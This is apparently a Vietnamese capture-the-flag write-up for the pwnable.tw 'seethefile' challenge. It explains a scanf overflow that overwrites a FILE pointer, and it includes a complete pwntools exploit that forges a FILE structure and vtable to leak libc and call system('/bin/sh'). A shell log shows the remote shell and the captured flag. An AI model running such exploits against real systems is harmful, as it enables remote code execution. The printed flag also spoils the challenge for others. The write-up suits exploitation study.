seethefile
Vulnerability: Hàm scanf() với format %s gây buffer overflow trên vùng bss dẫn đến ghi đè file pointer.
Recon
Mitigation
$ pwn checksec seethefile
[*] '/home/hungnt/ctfs/pwnable.tw/seethefile/seethefile'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)$ file seethefile
seethefile: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=04e6f2f8c85fca448d351ef752ff295581c2650d, not strippedGLIBC Version
pwndbg> libc
libc version: 2.23
libc source link: https://ftp.gnu.org/gnu/libc/glibc-2.23.tar.gzCode
main()
void main(void)
{
int choice;
int in_GS_OFFSET;
char buf [32];
undefined4 local_14;
undefined1 *puStack_c;
EVP_PKEY_CTX *ctx;
puStack_c = &stack0x00000004;
local_14 = *(undefined4 *)(in_GS_OFFSET + 0x14);
init(ctx);
welcome();
do
{
menu();
__isoc99_scanf(&_s,buf);
choice = atoi(buf);
switch(choice)
{
default:
puts("Invaild choice");
// WARNING: Subroutine does not return
exit(0);
case 1:
openfile();
break;
case 2:
readfile();
break;
case 3:
writefile();
break;
case 4:
closefile();
break;
case 5:
printf("Leave your name :");
__isoc99_scanf(&_s,name);
printf("Thank you %s ,see you next time\n",name);
if (fp != NULL)
{
fclose(fp);
}
// WARNING: Subroutine does not return
exit(0);
}
} while( true );
}Solve
case 5:
printf("Leave your name :");
__isoc99_scanf(&_s,name);
printf("Thank you %s ,see you next time\n",name);
if (fp != NULL)
{
fclose(fp);
}
// WARNING: Subroutine does not return
exit(0);
}Vì format string khi nhập name là %s, có thể nhập thoải mái, nên overflow và ghi đè lên con trỏ fp. Vậy nên ý tưởng của mình là fake con trỏ fp rồi lợi dụng fclose() để AAR leak libc rồi kiểm soát luôn RIP.
Sau một hồi perplexity, mình biết rằng bên trong fclose() sẽ gọi đến _IO_SYSCLOSE() là hàm close() nằm tại offset 0x44 của vtable nếu như có 0x2000 trong flags. Tiếp đến là finish() tại offset 0x8 luôn được gọi ko phụ thuộc vào flags.
Đầu tiên mình ghi đè close() với printf(), thêm format string vào ngay sau flags -> leak đc libc trên stack, ghi đè finish() nhảy ngược về main() để ko bị exit() sau khi fclose().
Lần sau, ghi đè close() với system(), ghi /bin/sh vào flags. Vậy là xong.
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("seethefile_patched", checksec=False)
libc = ELF("libc_32.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
b *0x08048b0f
b *_IO_file_close_it+271
b *fclose+229
b *0x2a932d1f
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(0.5)
return p
else:
host = "chall.pwnable.tw"
port = 10200
return remote(host, port)
p = conn()
def open_file(filename):
slan(p, b'choice', 1)
sla(p, b'see', filename)
def read_file():
slan(p, b'choice', 2)
def write_file():
slan(p, b'choice', 3)
def close_file():
slan(p, b'choice', 4)
def leave(name):
slan(p, b'choice', 5)
sla(p, b'name', name)
maps = b'/proc/self/maps'
open_file(maps)
print("leak libc")
name = 0x804b260
fake_vtable = name + 0x100
fake_fp = flat({
0x0: 0xfbad2801, # flags
0x4: b'libc=%3$p',
0x20: name, # fp
0x34: 0, # _chain
0x38: 1, # _fileno
0x48: 0x804b064, # _lock
0x94: fake_vtable, # vtable
0x100: 0,
0x100 + 0x8: exe.symbols['main'],
0x100 + 0x44: exe.plt['printf']
}, filler=b'\0')
sleep(0.25)
leave(fake_fp)
ru(p, b'next time')
ru(p, b'libc=')
libc.address = leak_hex(rn(p, 10), 0x1b0000)
lg("libc base", libc.address)
lg("system", libc.symbols['system'])
print("spawn shell")
fake_fp = flat({
0x0: b'/bin/sh\0',
0x20: name, # fp
0x34: 0, # _chain
0x38: 1, # _fileno
0x48: 0x804b064, # _lock
0x94: fake_vtable, # vtable
0x100: 0,
0x100 + 0x44: libc.symbols['system'],
}, filler=b'\0')
sleep(0.25)
leave(fake_fp)
rr(p, 1)
ia(p)$ py solve.py
[+] Opening connection to chall.pwnable.tw on port 10200: Done
leak libc
libc base -> 0xf75ad000
system -> 0xf75e7940
spawn shell
[*] Switching to interactive mode
$ cd home
$ ls -la
total 16
drwxr-xr-x 1 root root 4096 Nov 21 2019 .
drwxr-xr-x 1 root root 4096 Nov 21 2019 ..
drwxr-xr-x 2 flag flag 4096 Nov 21 2019 flag
drwxr-xr-x 2 seethefile seethefile 4096 Jan 13 2017 seethefile
$ ls -la flag
total 20
drwxr-xr-x 2 flag flag 4096 Nov 21 2019 .
drwxr-xr-x 1 root root 4096 Nov 21 2019 ..
-rw-r--r-- 1 flag flag 220 Aug 31 2015 .bash_logout
-rw-r--r-- 1 flag flag 3771 Aug 31 2015 .bashrc
-rw-r--r-- 1 flag flag 655 Jun 24 2016 .profile
$ cd seethefile
$ ls -la
total 44
drwxr-xr-x 2 seethefile seethefile 4096 Jan 13 2017 .
drwxr-xr-x 1 root root 4096 Nov 21 2019 ..
-r-------- 1 flag flag 29 Jan 13 2017 flag
-r-sr-xr-x 1 flag flag 9184 Jan 13 2017 get_flag
-rw-rw-r-- 1 seethefile seethefile 624 Jan 13 2017 get_flag.c
-rwxr--r-- 1 seethefile seethefile 70 Jan 13 2017 run.sh
-rwxrwxr-x 1 seethefile seethefile 12248 Jan 13 2017 seethefile
$ cat flag
$ cat get_flag.c
#include <unistd.h>
#include <stdio.h>
int read_input(char *buf,unsigned int size){
int ret ;
ret = read(0,buf,size);
if(ret <= 0){
puts("read error");
exit(1);
}
if(buf[ret-1] == '\n')
buf[ret-1] = '\x00';
return ret ;
}
int main(){
char buf[100];
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
printf("Your magic :");
read_input(buf,40);
if(strcmp(buf,"Give me the flag")){
puts("GG !");
return 1;
}
FILE *fp = fopen("/home/seethefile/flag","r");
if(!fp){
puts("Open failed !");
}
fread(buf,1,40,fp);
printf("Here is your flag: %s \n",buf);
fclose(fp);
}
$ ./get_flag
Your magic :$ Give me the flag
Here is your flag: FLAG{F1l3_Str34m_is_4w3s0m3}